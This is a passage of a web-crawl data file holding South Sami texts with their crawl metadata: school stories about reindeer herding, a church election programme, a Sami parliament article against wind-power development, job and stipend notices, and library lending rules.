dåalvoeminieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758\/resource:1:192112","date":"2019-04-22T15:26:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00434.warc.gz","language":"sma","language_score":0.9999322891,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999322891235352}","num_words":242,"character_repetition_ratio":0.127,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Albert Jåma daam tjaalegem tjaaleme. Tjaalege gærjeste Saemesth amma 4, maam Åsta Vangberg jïh Helen Blind Brandsfjell tjaaleme. Sijti Jarnge gærjam bæjhkoehti jaepien 2006.\nAkten reakta-aamhtesen bïjre\nAkten vuemesne akte tjaebpies murreds vaegkie gusnie bovtsh stööveslaakan gåatoejin gosse dagkoe baaktoe böötin. Akte båanta orre-ïentjem dïsse jis darjoeji. Daate Iij naa guhkene båantan gaertienistie.\nAkten daelvien bovtsh lin dïsse båateme jïh desnie gåatoejin guktie lin vaane. Båanta saemide ringki, stilli båetedh bovtside veedtjedh dallah. Saemieh dam darjoejin. Ånnetji mænngan bovtsh bååstede vihth. Aaj-vihth saemide ringki jïh jeehti eevre milkeme. Saemieh voejhkelin narhkelidh dehtie ïentjeste, men nåake gåateme lij. Maaje tjarke narhkelin, læjhkan bovtsh gellien aejkien ïentjese böötin. Båanta alvas måeresne, jïh jeehti satne edtji beetnegh saemijste utnedh, juktie milkene åvteste sutnjien. Saemieh jeehtin idtji goh naan melkieh gosse daelvie. Båanta vuesiehti raejkieh dennie lopmesne gogka bovtsh lin kroehkeme. Jeehti vaenebh kraesieh geasan sjædta.\nLeantsan ringki, jïh reakta-aamhtese sjïdti. Båanta jïjnjh beetnegh maaksojne krïbpesji. Akte båanta Stjørdaeleste lij reakta-aamhtesen reakta-åejvie. Göökte jeatjh båantah ligan viehkie-dööpmedæjjah. Dïhte måsnoes båanta viehkiem utni laanteburrie-kontovreste. Debpede akte laedtie bööti. Dan lij stoerre maahtoe kraesiej bïjre. Satne jeehti bovtsi gaavhtan båanta tjoeri dam jis ïentjem vihth orrestehtedh. Paehperem meatan utni gusnie lij ryöknesovveme man jïjnjh beetnegh dan åvteste.\nSaemieh jeehtin bovtsh dennie vaegkesne iktegisth gååteme. Jeehtin aaj båantan skålta jis Iij milkesovveme, juktie bovtsi Iaantem vaalteme. Fåvhta aaj desnie, jïh voejhkeli saemide viehkiehtidh.\nIdtjin goh dööpmedæjjah sïjhth saemide goltelidh. Buerkiestin ajve daaroen Iaaken bïjre: \"Desnie hov tjåådtje ij leah bovtside naan reakta ïentjine gåatodh.\"\nSaemieh gujht dööpmesovvin. Tjoerin maeksedh maam båanta krïbpesji. Mænngan saemieh dööpmedæjjide gihtjin: \"Daesnie båantah tjahkan saemide dööpmieh. Ibie mijjieh tuhtjh dïhte staaran goh. Jis lin dijjieh tjahkasjamme saemiej reakta-aamhtesisnie, jih saemieh dijjem dööpmeme saemiej Iaaki mietie, tuhtjede dellie dïhte staaran orreme?\" Idtjin gïeh gænnah eavedh vaestiedidh gænnah.\nBaakoeh\nSaemien\nDaaroen\nreakta-aamhtese\nrettssak\ndööpmedæjja\ndommer\nlaanteburrie-kontovre\nlandbrukskontor\nmilkenidh, malkanidh\nbli avbeitet og nedtrampet\nskålta, skåltoe\nskyld\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\nLaavenjassh: Saejrieh jïh vertemeKjernestoff\nJohtelohken bïjreKjernestoff\nSlaaterdimmieKjernestoff\nJuhtemen bïjreKjernestoff\nGåatoehtimmie Åarjel-raedtesneKjernestoff\n- Kjernestoff\nSoptsese guktie sarvh vuetjedhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nTjaalege vaarjoej bïjreKjernestoff\nDejpeladtje skuvle-vaarjoehKjernestoff\nÅnnetji saejrieh jïh vertemen bïjreKjernestoff\nNihpereKjernestoff\nGarre vertemeKjernestoff\nSïejpem dåalvoeminieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758\/resource:1:176635","date":"2019-04-22T15:25:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00546.warc.gz","language":"sma","language_score":0.9999603033,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999603033065796}","num_words":373,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate tjaalege lea biehkie tjaalegistie Ånnetji saejrieh jïh vertemen bïjre maam Jonar Thomasson tjaaleme. Tjaalegisnie Jonar soptseste guktie saemieh dejpeli dåemiedin gosse lin irhkesjamme, tjoehpedamme.\nGarre verteme\nJa, dellie edtjem dle håalodh maam leam manne govleme aajjan baeleste goh lin juhtieminie gierehtsigujmie annje våålese. Dellie Kristetje Jon Kleamma jïh aajja provhkin aktesne raerhkedh jïh juhtedh våålese.\nDellie lin jåhtajamme vaereste jïh båateme våålese Vihkenen-jejnan boehth, dan goerpese. Desnie provhkin gåatoehtidh naan gille biejjieh dennie beetsetjen sisnie, lïegkedidh. Dellie lin gujht dle gåetiem låavteme dan iehkeden jïh stealladamme edtjieh dle bearkoeh krovhtem tseegkedh. Dellie Jon Kleamma dej bearkoejgujmie gïehteli, guktie mejtie galme bearkoeh jallh gejhkie-bearkoeh dellie im manne dam daejrieh. Dellie gïehtele, dastegh tjoehpede gïetem dåaresth dan lïhtsen baaktoe dah åerieh aave. Nåå, dïhte gujht amma varta goh!\nIj gujht aajjan naan jeatjah raerie, soehpenjem bæksa jïh vaarreste olkese jïh åådtjeste miesiem, dam ajpeste jïh bæksa dam baahke geahpam dehtie mieseste jïh vaarreste gåatan jïh beaja dam geahpam gïeten nille. Eah leah gujht desnie naan almetjh lïhke guktie naan viehkiem meehtin åadtjodh. Luvhtin jïjtje bearkadidh dan man gååhkese buektiehtin. Dle garredi dam geahpam bïjre dam gïetem. Nåå, utnin sån mejnie akth garredin guktie dïhte geahpa årroeji dan saejrien nelnie. Nåå, dïhte geahpa dle åadtjoeji desnie årrodh gellieh biejjieh numhtie, idtjin gujht vaeltieh bæjjese.\nIdtji dïhte Jon Kleamma vielie åajsoeh tjoejkedh jallh maam darjodh, luvhti gieriehtsisnie barre tjahkasjidh goske böötin våålese Vualtjeren raajan. Muahra Anna sån lij dåeredeminie. Böötin Vualtjeren raajan, dellie easkah edtjin dle dåakteren gåajkoe edtji dïhte vuartasjidh guktie dïhte saejrie vååjnoe.\nGoh lea vuartasjamme dellie dåaktere Jon Kleammam gihtji: \"Guktie amma datne bearkadamme dejnie stoerre saejrine guktie ih leah vertielamme jïh jaameme\"? Nåå, idtji dïhte jeatjebem maehtieh jiehtedh, luvhti soptsestidh guktie lin dåemiedamme hïegkem lea bearkadamme. Dellie maa dåaktere tuhtji dïhte saejrie hov dan tjaebpies vååjnoe, idtji gujht dïhte maehtieh maam dejnie darjodh, maahta sån naan badtjetjem vedtieji, dellie im manne dam daejrieh. Nåå, numhtie lij dïhte.[1]\nSoptsesen bïjre\nJonar Thomasson tjaala daam soptsesem aehtjeste govleme guktie tjoerin dåemiedidh. Aehtjien nomme lij Jonas Andreas Thomasson. Dïhte lij reakasovveme jåvle-asken 1910 låavth-gåetesne akten beetsetjen sisnie ij man guhkie Sjeltien luvhtie. Dellie lin juhtieminie våålese daelvie-laantese. Daelvie-laantem utnin vuelnie stoerre-voenesne Björnan jïh Trehörningssjöen lïhke, dajkoe bïjre. Muvhth daelvieh gåatoehtin barre Sjeltien lïhke. Tjaktje gïjre-gåetieh utnin Raentseren lïhke. Giesege låavth-gåetieh utnin Tjoelmenvaegkesne Såvsoenvuemien jïh Byrkijen boehth. Daejtie soptsesh sïjhtem tjaeledh guktie lea munnjien soptsestamme.\nBaakoeh\nSaemien\nDaaroen\naave\nav\nluvhtedh, tjoeredh\nmåtte\n- 1«Ånnetji saejrieh jïh vertemen bïjre». Saemien sijte Thomasson, Jonar. Saemien sijte. 1991.\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\nLaavenjassh: Saejrieh jïh vertemeKjernestoff\nJohtelohken bïjreKjernestoff\nSlaaterdimmieKjernestoff\nJuhtemen bïjreKjernestoff\nGåatoehtimmie Åarjel-raedtesneKjernestoff\nAkten reakta-aamhtesen bïjreKjernestoff\nSoptsese guktie sarvh vuetjedhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nTjaalege vaarjoej bïjreKjernestoff\nDejpeladtje skuvle-vaarjoehKjernestoff\nÅnnetji saejrieh jïh vertemen bïjreKjernestoff\nNihpereKjernestoff\n- Kjernestoff\nSïejpem dåalvoeminieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758\/resource:1:192211","date":"2019-04-19T17:33:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00274.warc.gz","language":"sma","language_score":0.9999858141,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999858140945435}","num_words":474,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NÏEKEDIMMIE\nPOSKen nïekedimmie lea Svïenske gӕrhkoe edtja ektievoete årrodh gusnie Jupmelen åssjalommesh gyrhkesjemisnie jïh jieliemisnie vuesehte jïh gusnie Jeesuse Kristussen bïjre tjïelke soptseste.\nFRIJJE GӔRHKOE\nPOSK ussjede paartijjen faamoeh Svïenske gӕrhkoen bïjre tjoevere galkedh. Tjarkedihks veeljemelihtsegh dejtie paartijjedåehkijste sijhtieh jijtjedh laavenjassh gӕrhkose buektiehtidh mejtie sjiehteles staatese jïh tjïeltese. Svïenske gӕrhkoen almetjh gieh nӕnnoestieh edtjieh demokratijen mietie veeljesovvedh jïh gӕrhkoekrirrij åvteste barkedh, ij goh misse paartijij åvteste.\nPOSK sӕjhta nӕmhtie barkedh\n- ahte veeljemevuekiem jeatjadehtedh juktie aelhkebe jïh lihties sjӕdta\n- ahte gӕrhkoekrirrieh edtjieh stiftefaamohkem jïh gӕrhkoetjåangkoen lihtsegh veeljesovvedh sjisjnjeldh veeljemisnie\n- ahte vuartasjidh vaenebe maeksedh tjarkadihks barkoen åvteste\n- ahte gosse nӕnnoestidh gӕrhkoekrirrien bïjre dam nuepien mietie darjodh barkoen jïh lihtsegi ektesne\n- ahte naasjovne daltesen jïh stiften teoelogiske maadtoem jïh darjomassem goerehtalledh.\nVELVIESVOETE – NUEPIE\nSvïenske gӕrhkoen jahkosne, barkosne jïh öövtiedimmesne maahtah toelhkestidh mij kristelasjh learoeh jïh kristelasjh jieleme lea. Vihkeles vijries jïh daajroes gyrhesjimmie-jielemem utnedh jïh sjïere vuekieh gååvnesh dam vuesiehtidh. Dah gӕrhkoen vuekieh jïh åssjalommesh mejtie Svïenske gӕrhkosne tjaakenieh leah rӕjhkoes.\nPOSK ussjede\n- ahte gӕrhkoen dïedte lea gaajhkide dovnide vaarjelidh narrahtimmien, tjoelen jïh jeatjha naarahtimmiemaadtoen vuestie.\n- ahte vihkeles gaajhkh dovnesh, seamma magkeres seksuelle vuekiem utnieh jallh magkeres tjoelemaadtoem utnieh, dejtie Svïenske gӕrhkose aavosne dåastoehtidh jïh krööhkestidh\n- ahte guktie gӕrhkoetjåangkoe pruvremen bïjre nӕnnoestamme paarrij gaskemes mah seamma tjoeleste dïhte edtja styngkehke årrodh\n- ahte stoerre åssjalommesem utnedh gosse dåehkieh sjïere åssjalommesigujmie gӕrhkosne gaavnesieh.\nGӔRHKOEKRIRRIE JARNGESNE\nJielije jïh buerie sjugneles gӕrhkoekrirriem bigkedh lea gӕrhkoen vihkleles barkoe jïh laavenjasse gaajhkide gӕrhkosne. Gӕrhkoekrirrie jïh gӕrhkoe lea maadtoe fïerhtede kristegassjen jaahkose jïh abpe barkose mejtie maehtieh ektesne darjodh. Gӕrhkoe edtja iktesth gïelem årrodh dejtie almetjidie gieh nåake utnieh jïh fïerhtede almetjem dåastoehtidh.\nPOSK sӕjhta nӕmhtie barkedh\n- ahte maaksoegabts barkijh ohtsedh, dejtie ööhpehtidh, eevtjedh jïh dïedtem vedtedh\n- ahte gӕrhkoekrirrie styngkehke berkieh ekumeniske barkojne\n- ahte trainee-jaepie jïh naemhtemes ïedtjem provhkedh dïrreginie gosse barkijh ohtsedh\n- ahte ektielaavlome jïh gӕrhkoemusigke edtja vihkeles sijjie årrodh noerij musigkevuakan\n- ahte jienebh gӕrhkoemusigkere edtjieh instrumentaale ööhpehtimmiem utnedh sijjen barkosne\n- fïerhtede gӕrhkoekrirrie plaanem utnieh guktie lïerehtidh jïh ööhpehtidh smaavemaanaj tijjeste geerve alterasse\n- ahte barkoem eevtjedh beetnehdåarjegem åadtjodh internaasjovne, diakone jïh buerie sjugneles barkose.\nGӔRHKOE MIJ JEATJTA DORJE\nGoh kristegassjh mijjen barkoe lea sjugniedimmiem vaarjelidh mejtie Jupmele mijjese vaadteme jïh ektesne buerielaakan jieledh. POSK sӕjhta Svïenske gӕrhkoe edtja stynkehke barkedh daejredh daaletje gyhtjelassij bïjre mejtie seabradahkem dievvede jïh vuesiehtidh guktie jeatja vuekien mietie jieledh.\nPOSK sӕjhta nӕmhtie barkedh\n- ahte fïerhtede gӕrhkoekrirrie edtja diakonem utnedh\n- ahte stuerebe biehkie skaehtiemaaksojste buerie jieliemistie edtja Svïenske gӕrhkosne årrodh\n- ahte Svïenske gӕrhkoe dïedtem vaalta sjugniedimmien bïjre jïh heerredh daelhkie jeatjligkie sjidteminie\n- ahte reaktoe åesiestimmiem duedtedh jïh styngkehke eatnemen maelmide nuhtjedh\n- ahte abpe eekem vaarjelidh guhkies vååjnosne jïh styngkehke barkedh etiske jïh ekologijske vuekiej mietie\n- ahte mijjen vihkeles kultuvre-aerpiem vaarjelidh mejtie mijjen gӕrhkoeh leah jïh dejtie gaahpede utnedh jïh dam bӕjjoehtidh.\nDaate lea åenehks tjaalege POSKen programmeste gӕrhkoeveeljemasse 2021. Abpe programmem maahtah svïenske gïelesne lohkedh.\nGærhkoeveeljemebïevnesh\/Kyrkovalsinformation på olika språk, på Svenska kyrkans webb.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.posk.se\/vi-vill\/hjartats-sprak\/sydsamiska\/","date":"2021-12-03T04:24:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00607.warc.gz","language":"sma","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000059604644775}","num_words":467,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïegkefaamoebigkeme båatsoem aajhta abpe Saepmesne. Vaeride jïh eatnemem eerjedh lea oktegimse joekoen itjmies, men båatsose dïhte stööremes itjmiesvoete lea dïhte eksistensijelle aajhtoe mij bïegkefaamoe lea, dovne daelie jïh båetijen aejkien. NSR ij bïegkefaamoebigkemem saemien båatsoedajvine jååhkesjh.\nBïegkefaamoen vööste gæmhpoeminie abpe Saepmesne\nKategoriNSR\nDato28.07.2021\nBïegkefaamoen vööste gæmhpoeminie abpe Saepmesne\nFïerhten biejjien mijjieh båatsoen jieledeeaktoej åvteste gæmhpoeminie åejvieladtji vööste Saemiedigkien tjïrrh. Goh dïhte stööremes saemien åejvieorganisasjovne NSR aaj meatan ektiedimmieh jïh åålmehsiebrieh tseegkedh juktie båatsoen reaktah jïh eatnemem Saepmesne vaarjelidh. NSR lea saemiej aamhtesi åvteste gymhpeme vielie goh 50 jaepieh, jïh lea tjirkije saemien reaktaj åvteste Saemiedigkesne.\nKruana kolonialisme\n– Båatsoe lea akte mijjen vihkielommes gïele- jïh kultuvreguedtiejistie, jïh gosse bïegkefaamoe båatsoen jieliemassevåaromem håvhtede, dïhte aaj saemien gïelem jïh kultuvrem håvhtede, Maja Kristine Jåma jeahta, mij lea NSR:n voestes kandidaate åarjelsaemien veeljemegievlesne.\nBielie gåatoemistie seenhte daelvege gaarvanamme bïegkefaamoebigkemen gaavhtan Fovsenisnie.\nDagkerh bigkemi gaavhtan vihkeles gåatomedajvh industrijedajvine sjidtieh. Jåman sïjtesne akte bielie gåatoemistie seenhte daelvege gaarvanamme bïegkefaamoebigkemen gaavhtan Fovsenisnie. Gosse stoerre bielieh gåatoemistie dassa dellie dïhte sæjhta daanbeajjetje gïehtelimmiem baajnehtidh, jïh ellen vïerremes fuelhkieh noerhkedh bovtsigujmie orrijidh.\n– Ibie sïjhth daan såarhts kruana kolonialismem jååhkesjidh! NSR kreava bïegkefaamoe ij edtjh bigkesovvedh saemien båatsoedajvine. Daelie reaktoe tïjje aktem vaarjelimmiem laaken tjïrrh åadtjodh bïegkefaamoen vööste, Jåma jeahta.\nBïegkefaamoen vööste gæmhpoeminie noerhtene\nAaj noerhtene bïegkefaamoebigkeme båatsoem håvhtede. Deatnun jïh Lebesbyn gaskesne Davvi bïegkefaamoevierhkiem soejkesjeminie. Bïegkefaamoevierhkie sæjhta 267 turbijnh tjeekedh, jïh dam lea soejkesjamme bigkedh dennie aejlies vaeresne Rásttigáisá.\nDaelie tïjje båateme jiehtedh nuekie lea nuekie! Saepmie ij vielie bïegkefaamoebigkemem tööllh.\n– Båatsoe Finnmarhkesne lea joe tjarke deadtoven nuelesne, jïh akte bïegkefaamoebigkeme sæjhta lissine båetedh gruvide jïh dan soejkesjamme 420 kV faamoeledningasse Skaidin luvhtie Lebesbyn gåajkoe, Mathis Nilsen Eira jeahta, mij lea båatsoeburrie jïh NSR:n voestes kandidaate Ávjovárri veeljemegievlesne.\n– Joekoenlaakan båatsoem krööhkestidh gosse bïegkefaamoem vuarjesje, jïh båatsoe tjuara tjïelke nuepiem utnedh illedahkem bigkemeaamhtesinie baajnehtidh. Daelie tïjje båateme jiehtedh nuekie lea nuekie! Saepmie ij vielie bïegkefaamoebigkemem tööllh, Nilsen Eira jeahta.\nAktene dan behtjiedihks tsiehkesne Eira veanhta vihkeles båatsoen kapasiteetem dåarjoehtidh jïjtse reaktah vaarjelidh, jïh båatsose tjïelke nuepiem vedtedh illedahkem bigkemeaamhtesinie baajnehtidh. Mubpien boelhken Saemiedigkesne NSR sæjhta jåerhkedh reakta-aajhteridie areaalevigkine dåarjoehtidh, jïh institusjovnide mah dennie barkosne viehkiehtieh.\n– NSR lea Saemiedigkien tjïrrh, dåarjoeöörnegh tseegkeme jïh dåarjoehtamme båatsoesïjtide mah leah areaalevigkine. Mijjieh aaj institusjovnh dåarjoehtamme jïh tseegkeme goh Protect Sápmi mij båatsoem viehkehte. Mov mïelen mietie ajve vihkielåbpoe sjædta dagkerh dåarjoesysteemh båatsose tseegkedh tïjjen åvtese, Eira jeahta.\nLæjhkan åvtese vuajna\nSara Katrine Aleksandersen lea NSR:n njealjede kandidaate Gáisi veeljemegievlesne jïh bovtsigujmie gïehtele Kvaløyesne Romsesne gusnie bïegkefaamoebigkemem tjarke kråahpesne damteme.\n– Sårkoe lij, jïh annje lea sårkoe bïegkefaamoevierhkiem jïh dejtie gaajh stoerre turbijnide vuejnedh. Bovtsese akte stoerre vaejvie jïh dajvijste rievieh gusnie jïjnjh darjomh, Sara Katrine jeahta.\nJalhts Sara Katrine jïh fuelhkie leah stoerre gåatomedajvh dasseme bïegkefaamose, dïhte 20 jaepien båeries nïejte guhte lea akte dejstie ellen nööremes NSR:n læstojne Saemiedigkieveeljemasse, veeljie åvtese vuejnedh.\nSårkoe lij, jïh annje lea sårkoe bïegkefaamoevierhkiem jïh dejtie gaajh stoerre turbijnide vuejnedh.\n– Ibie daam gæmhpoem vitneme, men manne leam eajhnadovveme manne sïjhtem politihken tjïrrh barkedh guktie jeatjebh eah daarpesjh dam seamma dååjredh goh mijjieh libie dorjeme, Sara Katrine jeahta.\nMinngemes tïjjen vuastalimmie bïegkefaamoen vööste lea læssanamme, jïh jienebh leah tjïelkelaakan vuajneme guktie bïegkefaamoe lea eatnemem eerjeme jïh mah konsekvensh dïhte eatnamasse, båatsose jïh jeatjah utniejidie miehtjiesdajveste vadta. NSR sæjhta jåerhkedh njueniehkisnie årrodh dennie barkosne mubpien Saemiedigkieboelhken.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/nsr.no\/sma\/nsr\/biegkefaamoen-vooste-gaemhpoeminie-abpe-saepmesne\/","date":"2023-03-26T12:29:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945472.93\/warc\/CC-MAIN-20230326111045-20230326141045-00053.warc.gz","language":"sma","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000025033950806}","num_words":531,"character_repetition_ratio":0.078,"word_repetition_ratio":0.027,"special_characters_ratio":0.136,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien Gïelegaaltije lea noerhtelaanti ektievoete faageorgaane saemiej gyhtjelasside, Nöörjesne, Sveerjesne jïh Soemesne. Saemien Gïelegaaltijen ulmie lea gorredidh, vaarjelidh jïh evtiedidh dam saemien aerpiemaahtoem mah gaajhkh saemiengïelide vuesiehtieh. Saemien Gïelegaaltije leah golmene rïjhkesne Nöörjesne, Sveerjesne jïh Soemesne jïh barkoe lea saemiengïelide normeeredh rïjhki gaskemh. Saemien gïelegaaltije lea Nöörjen saemiedigkie åelesne gusnie åejviekontovre Karasjohkesne lea. Saemien Gïelegaaltijen leah 12 barkoesijjieh.\nSaemien Gïelegaaltije saemien gïelegorredimmine barka jïh jåhta goh saemienalmetji ektievoeten maahtoeladtje faageorgaane aamhtesigujmie mij tsevtsieh normeeremi bïjre saemiej tjaeleme-gïeleste. Dïhte gie barkije sjædta, galka normeeremegujmie terminologijestie jïh rïektetjaeleme njoelkedassijste j.j barkedh. Galka saemien gïeli bïjre bïevnedh, raerieh jïh bïhkedimmieh gïelenuhtjijidie vedtedh saemiej gïeli utnemen bïjre.\nÅarjelsaemien gïelebarkije\nSaemien Gïelegaaltijen lea barkoem goh raeriestæjja\/seniorraeriestæjja dutnjan gïe sïjhth gïelegorredimmine jïh normeeremegujmie åarjelsaemien gïelesne barkedh. Åadtjoeh varki aelkedh.\nOhtsememierie: 10.03.2024\nLes mer om stillingen og søk\nNordsamisk språkmedarbeider\nSámi Giellagáldu har en ledig fast stilling som rådgiver\/seniorrådgiver for deg som ønsker å jobbe med språkbevaring og standardisering av det nordsamiske språket. Snarlig tiltredelse.\n\/ Sámi Giellagáldus lea rabas fásta ráđđeaddi\/seniorráđđeaddi virgi dutnje gii háliidat bargat davvisámegiela giellagáhttemiin ja normeremiin. Álgin farggamusat.\nSøknadsfrist: 25.02.2024\nLes mer om stillingen og søk\nInarinsaamen työntekijä\nSámi Giellagáldussa on avoinna vakinainen neuvonantajan\/vanhemman neuvonantajan virka sinulle, joka haluat työskennellä inarinsaamen kielenhuollon ja normittamisen parissa.\n\/ Sámi Kielâkäldeest lii uuccâmnáál fastâ rääđiadeleijee\/senior rääđiadeleijee virge tunjin, kote halijdah porgâđ anarâškielâ kielâtipšom já normâdem ooleest. Algâttem nuuvt forgâ ko máhđulâš.\nSøknadsfrist: 03.03.2024\nLes mer om stillingen og søk","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/sametinget.no\/saernieh\/3-gaavnoes-barkoeh-saemien-gielegaaltijesne.31073.aspx","date":"2024-03-02T07:21:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475757.50\/warc\/CC-MAIN-20240302052634-20240302082634-00373.warc.gz","language":"sma","language_score":0.9651140571,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9651140570640564, \"sme_Latn_score\": 0.03453543409705162}","num_words":228,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":0.976,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stipende\nNoerh \/studenth \/geerve almetjh Snåaseste mah ööhpehtimmiem vaeltieh sjyöhtehke healsoe- sujhteme jïh hoksefaagi sisnjeli jïlleskuvledaltesisnie, jïh almetjh mah geervelïerehtimmiem vaeltieh healsoefaagebarkijefaagen sisnjelen, men eah ihkuve seehtemem utnieh, maehtieh stipenden bïjre syökedh 10.000 kråvnaj raajan goh skraejrie.\nMaahta easkah stipenden bïjre syökedh mænngan voestes jaepiem tjirrehtamme. Vaajteles dah mah stipenden bïjre syökoeh sæjjasadtjebarkoem vaeltieh eejehtalleminie jïh hïeljine.\nOhtseme bööremes e-påastesne seedtesåvva diekie, email@example.com jallh diekie\nSnåasen tjïelte\/Snåsa kommune,\nSørsivegen 6,\n7760 Snåsa.\nStipend\nUngdom \/ studenter \/ voksne fra Snåsa som tar utdanning innen relevant helse- pleie og omsorgsfag på høgskolenivå, og personer som tar voksenopplæring innenfor helsefagarbeiderfaget, men som ikke er fast ansatt, kan søke om stipend på inntil kr 10.000 som stimulering.\nStipendet kan tidligst søkes på etter at første år er gjennomført. Det er ønskelig at de som søker om stipend tar vikararbeid i ferier og helger.\nSøknad sendes fortrinnsvis på epost til firstname.lastname@example.org eller\nSnåsa kommune,\nSørsivegen 6,\n7760 Snåsa.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.snasa.kommune.no\/aktuelt\/stipende-stipend.15982.aspx","date":"2024-04-18T07:46:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817200.22\/warc\/CC-MAIN-20240418061950-20240418091950-00819.warc.gz","language":"sma","language_score":0.9351195693,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9351195693016052, \"nob_Latn_score\": 0.03820175677537918, \"sme_Latn_score\": 0.021795136854052544}","num_words":146,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":0.95,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Upmejedajven gærjagåetiej löönemenjoelkedassh.\nGaajhkh gærjagåetine Upmijedajvesne maahtah namhtah löönedh. Dov leah gærjah, avijsh, tjaalegh, gaskeviermie, daatabaash, bïevneshgærjah, sïebredahkebïevnesh jienebh jienebe. Jïjnjh gærjagåetiej aaj musihkh jïh filmh.\nGijhtjh jis sïjhth! Dah barkijh sijhtieh datnem bööremes vuekesne viehkietidh. Uvtedh gærjagåatan uvtelassem maam sïjhth dah gelkieh åestedh.\nJis sïjhth löönedh dellie löönemekåarhtem daarpesjh. Dïhte åadtjoeh jis legitimasjovnem guvvine vuesiehtidh. Gosse nuelesne tjaalah dellie datne jååhkesjh gærjagåetien löönemenjoelkedassi mietie löönedh.\nMaanah maehtieh löönemekåarhtem åadtjodh gosse 6 jaepien illeme.\nTjoerh löönemekåarhtem meatan vaeltedh gosse maam akt' löönedh!\nLöönemekåarhtem maahtah gaajhkine Upmejedajven gærjagåetine nuhtjedh.\nBïevnesh dov löönemi bïjre jïh dængkomh tjaalasuvvieh ektie daataöörnegisnie Upmejedajven gærjagåetide. Destie båata bïevnesh mah Sekretesslaaken mietie gååvnesieh gærjagåetiej barkijidie Upmejedajvesne. Gærjagåetiej barkijh Sekretesslaaken, kap. 9 § 22:en mietie berkieh.\nGærjagåetie persovnebïevnesh SPAR:este, staaten persovneårromesijjielæstoe. Dah bïvnesh mijjen leah nommem jïh orremesijjiem. Jis datne leah Sveerjesne tjaalasovvedh dov orremesijjiem mijjen læstosne jeatjahtehtedh gosse datne orremesijjiem jeatjahtehtedh folkbokföringen jallh skaehtiereeremen baaktoe. Gærjagåetie daarpesje dov daaletjen påastesijjjieh juktie maahta seedtedh bïvnesh dængkomi bïjre, 